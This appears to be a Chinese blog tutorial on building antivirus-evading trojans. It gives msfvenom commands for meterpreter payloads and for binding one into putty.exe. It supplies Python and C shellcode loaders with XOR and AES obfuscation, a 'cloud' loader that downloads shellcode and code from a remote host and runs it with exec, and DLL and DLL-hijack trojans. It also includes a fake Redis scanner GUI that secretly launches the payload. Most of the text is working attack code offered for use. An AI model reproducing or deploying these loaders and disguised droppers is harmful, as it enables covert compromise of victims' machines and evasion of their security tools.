木马免杀总结

411 阅读11分钟

简单木马生成

MSF参数说明
RHOSTS remote host 远程地址
RPORT  remote port 远程端口
LHOST  local  host 本机地址
LPORT  local  port 本机端口

本机指kali

正向木马

、###生成###
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=源IP LPORT=源端口 -f exe -o bind_x64.exe

###上线###
1. 进入 msfconsole 控制台
2. 切换模块
   use exploit/multi/handler
3. 设置 payload 必须与你执行的木马生成所使用的payload保持一致
   set payload windows/x64/meterpreter/bind_tcp
   set LPORT 源端口
   set RHOST 靶机ip
   run

###原理###
靶机 开启端口
Kali 进行主动访问指定IP指定端口 stage
靶机上线木马 stager 
stager <-> stage 传输数据

反向木马

###生成###
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 -f exe -o reverse_x64.exe


###上线###
1. 进入 msfconsole 控制台
2. 切换模块
   use exploit/multi/handler
3. 设置 payload 必须与你执行的木马生成所使用的payload保持一致
   set payload windows/x64/meterpreter/reverse_tcp
   options 
   set LHOST 源ip
   set LPORT 源端口
   run

###原理###
Kali 开启端口 并进行监听 stage
靶机上线木马 主动访问 Kali stager 
stager <-> stage 传输数据

防止木马被查杀

当我们的木马上线以后,容易被发现并且结束执行,这样的话木马就会下线,我们需要使用一些特殊手段防止木马下线

进程注入

木马运行后会被注入到Windows已经运行的进程上,需要保证该进行不会轻易的被查杀,所以我们选用 explorer.exe 资源管理器进程

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 prependmigrateprocess=explorer.exe prependmigrate=true -f exe -o reverse_x64.exe

程序捆绑

将木马与一个可以执行的程序直接进行保定,当用户点击该程序,该程序正常运行,且木马上线

###x64位系统###
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 --platform windows -x putty.exe -k -f exe -o myputty.exe

###x32位系统###
msfvenom -p windows/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -a x86 --platform windows -x putty.exe -k -f exe -o myputty.exe

免杀手段

(1)对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密等。

(2)对加载器代码进行加密或编码处理,使其静态特征不再明显。

(3)分离免杀,将ShellCode和加载器代码放置于网络上,通过下载的方式进行加载,可进一步免除静态特征。

(4)通过进程注入或借助傀儡进程进行加载和运行。

(5)通过加壳的方式对木马进行混淆,进而绕过杀软。

通过静态特征绕过杀软检测相对比较容易,但是要绕过沙箱或动态检测,则非常难。

Python的ShellCode免杀(x64)

MSF支持的源码格式

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

ShellCode生成

# x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f py -o sc_64_1314.py
# x86
msfvenom -p windows/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f java -o sc_32_1314.py

编写Python加载器

64位加载器

import ctypes
buf =  b""
buf += b"\xfc\x48\x83\"
...ShellCode略...

# x64加载器
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

利用Pyinstaller打包Python代码为可执行程序

pip install pyinstaller 
#打包命令
pyinstaller -F -w pyshell.py
pyinstaller -F -w -i WX.ico pyshell.py 指定图标(一般不使用他指定,我们自己改)

#pyinstaller 报错 
系统如果提示 pyinstaller 不是系统命令...
无法将“pyinstaller”项识别为 cmdlet、函数、脚本文件或可运行程序的名称
以上错误是Python插件文件夹环境变量没有配置

#解决办法
找到 Location site-packages 将他替换为 Scripts
Location: c:\users\coder\appdata\roaming\python\python38\site-packages
替换后 c:\users\coder\appdata\roaming\python\python38\Scripts 添加到 Path 系统环境变量中

Python加载器免杀

使用步骤

1. 下载
   https://github.com/Axx8/ShellCode_Loader
2. 下载依赖
    2.1 下载
    pip install -r requirements.txt
    2.2 依赖修该
    进入Python插件目录:c:\users\coder\appdata\roaming\python\Python38\site-packages 将目录 crypto 修改为大写开头 Crypto
3. 使用 msf 生成C语言的 ShellCode
   msfvenom -e x64/xor_dynamic -p windows/x64/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f c -o sc_64_xor_6969.c 
4. 使用 Shellcode loader 加密
   4.1 将生成的C语言ShellCode 放在 Shellcode loader目录下
   4.2 执行加密语句并得到密文
       Shellcode_encryption.exe sc_64_xor_6969.c

Python异或加密(ShellCode结合)

x64_xor_encode.py
import binascii
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"......"
# 将字节变为字符
source_str = binascii.b2a_hex(buf).decode()
# 将字符串反转
reversed_str = source_str[::-1]
# 对反转字符串进行异或加密
key = 66
encrypted_str = ""
for c in reversed_str:
    # 求字符串的 ascii 并于 key 进行异或
    tmp = ord(c) ^ key
    # 转换为字符并添加到 encrypted_str
    encrypted_str += chr(tmp)
# 将异或后的字符串进行下一步解密并生成数值使用分隔符分隔 分隔符自定
decrypted_str = ""
speed = "@"
for c in encrypted_str:
    tmp = ord(c) ^ key
    decrypted_str += str(tmp) + speed
# 切除 最后多余的 符号
result_str = decrypted_str[0:-1]
print(result_str)


###上线###
online.py
import binascii
import ctypes
# 将加密后的 shellcode 放在这里
codestr = "53@100..."
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
    # 异或还原
    tmp = chr(int(i) ^ key)
    shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
    tmp = chr(ord(c) ^ key)
    shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 上线代码
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode_bytes), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode_bytes), len(shellcode_bytes))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

加载器加密

import base64
import binascii
from Crypto.Cipher import AES
loader = """
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode_bytes), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode_bytes), len(shellcode_bytes))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
"""
# 加载器base64加密
loader_base64 = base64.b64encode(loader.encode())
# 对base64进行 AES 加密 由于 AES加密需要是 8 的倍数需要补位 按 16 的倍数补
loader_base64_str = loader_base64.decode()
# 判断补位情况
if len(loader_base64_str.encode()) % 16:
    bint_num = 16 - len(loader_base64_str.encode()) % 16
else:
    bint_num = 0
loader_base64_str += ("\0" * bint_num)
# 对 loader 进行 AES 加密
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
cipher_text = cipher.encrypt(loader_base64_str.encode())
# 将 AES 加密的字符串 变成 ascii
loader_result = binascii.b2a_hex(cipher_text).decode()
print(loader_result)

ShellCode加载器木马上线

import base64
import binascii
import ctypes
from Crypto.Cipher import AES
# 将加密后的 shellcode 放在这里
codestr = "53@100@102@102@..."
# 将加密后的 loader 放在这里
loaders = "ba073f68735..."
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
    # 异或还原
    tmp = chr(int(i) ^ key)
    shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
    tmp = chr(ord(c) ^ key)
    shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 加载器解密
loaderstr = binascii.a2b_hex(loaders)
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
loader_base64 = cipher.decrypt(loaderstr)
# 清除多余的补0
loader_base64 = loader_base64.decode().strip("\0")
# 解密 loader_base64
loader = base64.b64decode(loader_base64).decode()
# 任意代码执行
exec(loader)

远程云木马

import base64
import binascii
import ctypes
import requests
from Crypto.Cipher import AES
# 将加密后的 shellcode 放在这里 发起请求
codestr = requests.get("http://ip/thyjui/vcgghh.php").text
# 将加密后的 loader 放在这里
loaders = requests.get("http://ip/thyjui/tyruuti.php").text
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
    # 异或还原
    tmp = chr(int(i) ^ key)
    shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
    tmp = chr(ord(c) ^ key)
    shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 加载器解密
loaderstr = binascii.a2b_hex(loaders)
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
loader_base64 = cipher.decrypt(loaderstr)
# 清除多余的补0
loader_base64 = loader_base64.decode().strip("\0")
# 解密 loader_base64
loader = base64.b64decode(loader_base64).decode()
# 任意代码执行
exec(loader)

加壳操作

压缩壳:upx,aspack ,fsg ,pecompach

加密壳:ASProtect ,Armadillo(穿山甲),EXEcryptor,Themida,ZProtect

虚拟机壳:VMProtect

C语言免杀

MSF生成C语言木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 -e x64/xor_dynamic -f c -o css_6688.c


unsigned 表示无符号二进制 表示范围 0-255 有符号表示范围 -128-127
char buf[] 表示字符数组 理解为字符串
unsigned char buf[] = 
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\xfd\x57略...";

C语言上线代码

#include <stdio.h>
// 需要引入额外的参数 
#include <stdlib.h>
#include <windows.h>
unsigned char buf[] = 
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\x...";


###上线木马###
// 方法一 需要的代码 
typedef void(__stdcall *CODE)();
void start(){
    /*
        // 方法一 申请内存加载代码 
        void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(p, buf, sizeof(buf));
        CODE code =(CODE)p;
        code();
    */
    // 方法二 堆加载 
    HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
    // 方法三 指针加载  我测试不生效 你们测试一下
    // ((void(*)(void)) &buf)(); 
} 
int main(int argc, char** argv) {
    start(); 
    return 0;
}

C语言ShellCode异或混淆

####混淆代码###
#include <stdio.h>
// 需要引入额外的参数 
#include <stdlib.h>
#include <windows.h>
unsigned char buf[] = 
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\xfd略";
void EncodeStr(){
    int key = 88;
    int i;
    for (i = 0; i < sizeof(buf)/sizeof(buf[0]); i++){
        int tmp = buf[i] ^ key;
        // %x 输出 数值类型的十六进制 
        printf("\\x%x",tmp);
    }
}
int main(int argc, char** argv) {
    EncodeStr(); 
    return 0;
}

###上线代码###
#include <stdio.h>
// 需要引入额外的参数 
#include <stdlib.h>
#include <windows.h>
unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa4\xf6\x2d\xa5略";
void start(){
    unsigned char buf [3000];
    int key = 88;
    int i;
    for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
        int tmp = shellcode[i] ^ key;
        buf[i] = tmp;
    }
    HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
} 
int main(int argc, char** argv) {
    start(); 
    return 0;
}

DLL木马

生成DLL

创建项目

img

img

DLL实现木马免杀

DLL实现木马上线

dll.h
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
#define DLLIMPORT __declspec(dllexport)
#else
#define DLLIMPORT __declspec(dllimport)
#endif
DLLIMPORT void HelloWorld();
DLLIMPORT void Mua();
#endif
maindll.c
#include "dll.h"
#include <stdlib.h>
#include <windows.h>
DLLIMPORT void HelloWorld()
{
    MessageBox(0,"MUA~\n","嘻嘻o.O",MB_ICONINFORMATION);
}
DLLIMPORT int Add(int a,int b)
{
    return a + b;
}
DLLIMPORT void Mua(){
    unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa4\xf6略...";
    unsigned char buf [3000];
    int key = 88;
    int i;
    for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
        int tmp = shellcode[i] ^ key;
        buf[i] = tmp;
    }
    HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();    
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            break;
        }
        case DLL_PROCESS_DETACH:
        {
            break;
        }
        case DLL_THREAD_ATTACH:
        {
            break;
        }
        case DLL_THREAD_DETACH:
        {
            break;
        }
    }
    /* Return TRUE on success, FALSE on failure */
    return TRUE;
}

Python语言调用dll文件

import ctypes
# 1. 加载 DLL 文件
dll_handle = ctypes.CDLL("./dlrb.dll")
# 2. 调用 DLL 文件内的 方法
dll_handle.HelloWorld()
dll_handle.Mua()

Python结合dll优化

from tkinter import *
import tkinter.messagebox
from netaddr import IPNetwork
import socket, threading
import ctypes
def scan():
    text.insert('end', '===== 开始扫描Redis服务 =====\n\n')
    text.update()
    # 实现正常的扫描功能
    cidr = entry.get()
    ip_range = IPNetwork(cidr).iter_hosts()
    for ip in ip_range:
        try:
            s = socket.socket()
            s.settimeout(1)
            s.connect((str(ip), 6379))
            msg = f"IP地址:{ip} 端口 6379 开放.\n"
            text.insert("end", f"{msg}\n")
            text.update()
            s.close()
        except:
            msg = f"IP地址:{ip} 端口 6379 未开放.\n"
            text.insert("end", f"{msg}\n")
            text.update()
    text.insert('end', '===== 扫描Redis服务结束 =====\n\n\n')
    text.update()
# DLL函数调用 需要配置dll文件位置 和木马上线代码
def connect():
    func = ctypes.CDLL("./system.dll")
    func.Mua()
def look():
    tkinter.messagebox.showinfo('MUA', '来了老弟~')
def start():
    threading.Thread(target=scan).start()
    threading.Thread(target=connect).start()
if __name__ == '__main__':
    # 主窗口
    root = Tk()
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    x = int(screen_width / 2 - 600 / 2)
    y = int(screen_height / 2 - 400 / 2)
    root.geometry(f"600x400+{x}+{y}")
    root.title('主窗口')  # 窗口标题
    root.resizable(0, 0)  # 是否允许修改尺寸
    root.wm_attributes('-alpha', 0.99)  # 窗口透明度
    label = Label(root, text='请输入CIDR网段:', borderwidth=1, relief='flat')
    label.place(width=100, height=30, x=50, y=20)
    entry = Entry(root, borderwidth=1, relief='groove')
    entry.insert(0, '192.168.88.66/24')
    entry.place(width=200, height=30, x=200, y=20)
    button = Button(root, activebackground='orange', bg='lightgreen', overrelief='raised', text='开始扫描',
                    command=start)  # 创建按钮
    button.place(width=70, height=30, x=480, y=20)
    text = Text(root)
    text.place(width=500, height=220, x=50, y=80)
    button2 = Button(root, activebackground='orange', bg='lightgreen', overrelief='raised', text='点我加V',
                     command=look)  # 创建按钮
    button2.place(width=80, height=40, x=250, y=330)
    root.mainloop()

DLL劫持免杀

#include "dll.h"
#include <stdlib.h>
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            break;
        }
        case DLL_PROCESS_DETACH:
        {
            break;
        }
        case DLL_THREAD_ATTACH:
        {
            break;
        }
        case DLL_THREAD_DETACH:
        {
            break;
        }
    }
    unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa略。。。";
    unsigned char buf [3000];
    int key = 88;
    int i;
    for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
        int tmp = shellcode[i] ^ key;
        buf[i] = tmp;
    }
    HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
    return TRUE;
}